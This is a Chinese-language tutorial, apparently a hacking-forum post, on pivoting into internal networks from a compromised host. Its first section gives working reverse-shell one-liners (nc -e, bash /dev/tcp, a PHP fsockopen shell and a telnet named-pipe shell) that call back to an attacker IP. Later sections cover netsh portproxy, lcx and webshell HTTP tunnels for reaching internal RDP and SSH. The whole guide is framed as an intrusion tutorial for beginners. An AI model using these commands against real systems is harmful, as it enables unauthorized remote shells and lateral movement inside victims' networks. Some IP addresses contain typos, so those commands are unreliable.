多平台-内网反弹转发小结

前言
当获得单目标权限,若想扩大漏洞影响,我们可以以此为跳板杀入内网,即使你内网内有些机器是不联网的。


简介
大致了解内网中的端口反弹 、映射手法,适合新手学习

0x03:内网中易被忽略的双向隧道


正文
0x01 关于交互式shell反弹

关于反弹交互式command的shell回来在windows上面一般使用nc

webshell里执行

[AppleScript] 纯文本查看 复制代码
?
C:\nc.exe  -e C:\recycler\cmd.exe  YourIP  51

本机执行

[AppleScript] 纯文本查看 复制代码
?
nc -l -vv -p 51

自己需是外网 或者你是内网且在路由作了51的端口映射,最好是在外网的服务器好些

linux上面一般用以下几种脚本

[AppleScript] 纯文本查看 复制代码
?
BASH
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
 
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
TELNET
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
0X02 关于内网渗透中的端口映射

适应场景经常遇到 主机只有内部网络可以访问 拿下一台权限后 以此为跳板连接其他主机端口 即把拿到权限的主机当成一台路由器 做个端口映射

windows中利用netsh映射内网端口(一次执行 重启亦在)

举例 拿到192.1681.101的权限, 目标是192.168.1.106的ssh

必须先来在162.168.1.101安装IPV6

[AppleScript] 纯文本查看 复制代码
?
netsh interface ipv6 install

然后

[AppleScript] 纯文本查看 复制代码
?
netsh interface portproxy add v4tov4 listenaddress=192.1681.101 listenport=666 connectaddress=192.168.1.106 connectport=22

查看存在的转发

[AppleScript] 纯文本查看 复制代码
?
netsh interface portproxy show all

现在连接192.168.1.101:666 就相当于链接到目标机的22端口了

删除

[AppleScript] 纯文本查看 复制代码
?
netsh interface portproxy delete v4tov4 listenaddress=192.168.1.101 listenport=666

我自己在内网测试连接目标3389测试的效果

 

那么如果我们拿到的是一台linux呢?

当然有办法啦 写个c脚本就好 我一般用某牛写的这个集成的 功能多一些

我在本地举个例子测试 拿到了一个内网的shell:http://192.168.19.130/t00ls.php,目标是192.168.0.109的远程桌面

./lcx.c -m 1 -h1 192.168.19.130 -p1 6666 -h2 192.168.0.109 -p2 3389

测试效果

.

 

 


于是乎连接192.168.19.130:6666即是连接192.168.0.109:3389

聪明的你或许会问 卧槽 我怎么连接这个内网的192.168.19.130:6666?

答:如果它存在外网ip,那是极好的,没有的话,可以用webshell上传个REDUH之类的脚本把他自己的6666端口转到你的服务器的33891端口,然后再服务器上连接127.0.0.1:33891就行了,不过这里面转了两层代理 延时效果可想而知

后来发现,,,,不过这个也太慢了吧

后来问了下基友,才知道,原来上面的c脚本其本身就存在这个双向隧道的功能,怪我疏忽了,没细看



0x03 内网中被忽略的双向隧道

利用方法为使用方法中的method 3

./lcx.c -m 3 -h1 183.60.201.131 -p1 6688 -h2 192.168.0.109 -p2 3389

然后在183.60.201.131这台外网服务器执行lcx监听

[AppleScript] 纯文本查看 复制代码
?
lcx.exe -listen 6689 33991

立即就有反应了

然后在服务器连接127.0.0.1:33991 就相当于连接到了我们的目标机的3389  看效果图

.

 

一点也不卡哦, m 3  同时完成了双向隧道

后来发现。原来我们很多工具都是支持双向隧道的  

比如aspx大马的端口映射功能

以前我只用这个功能来转发他自己的3389  测试用它来转发其他内网机器的某个端口也可以

像下面这个案例  虽然目标机处于内网   且无法上网  但这并不代表我们杀不进去

情况是:拿到了192.168.167.3的shell  目标是192.168.0.11的桌面服务

.

 

当然 ,我现在才知道reduh也可以双向

.

 

一般来说 aspx、php、jsp脚本的内网映射脚本都是走的http隧道  于是接收端无谓内网外网  我就是在虚拟机里面接收的端口请求,缺点是,,,有点慢慢慢慢慢。。。
